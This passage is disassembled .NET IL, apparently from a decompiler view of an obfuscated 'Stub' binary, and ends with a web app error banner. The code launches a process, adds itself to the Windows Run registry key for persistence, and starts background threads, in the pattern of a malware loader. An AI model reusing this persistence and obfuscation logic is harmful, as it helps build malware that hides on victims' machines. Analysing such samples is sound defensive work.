ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_11
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_11
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_8
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_7
ldloc.s V_7
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_022C: call My.iWqscxQijSpaeS7FnBqsY7A My.MHmdVktDRSllzcWaCtniY8w::HP2opACtgX4ROFbwFT2tRt9()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_9
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_022C: call My.iWqscxQijSpaeS7FnBqsY7A My.MHmdVktDRSllzcWaCtniY8w::HP2opACtgX4ROFbwFT2tRt9()
call My.iWqscxQijSpaeS7FnBqsY7A My.MHmdVktDRSllzcWaCtniY8w::HP2opACtgX4ROFbwFT2tRt9()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_0267: call System.Void Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::gs3grJQaJi7I2da9xQObGF6Ij40U4dA7AgWIIzueHM9OO8vbg6V6aUTlNP()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0267: call System.Void Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::gs3grJQaJi7I2da9xQObGF6Ij40U4dA7AgWIIzueHM9OO8vbg6V6aUTlNP()
call System.Void Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::gs3grJQaJi7I2da9xQObGF6Ij40U4dA7AgWIIzueHM9OO8vbg6V6aUTlNP()
ldnull <null>
ldftn System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::3EUzFWjCeDsISkLcc4KIAdOzM0OfLaXedPdwNAVE()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::7zaxkPSIm6JPXBmUw1JhSTHJkcqD1EGgbDWnWoui()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::EAUt2qw4YiztkD9rQyWmF6UGoAfZTeMbU2bKQl8q()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙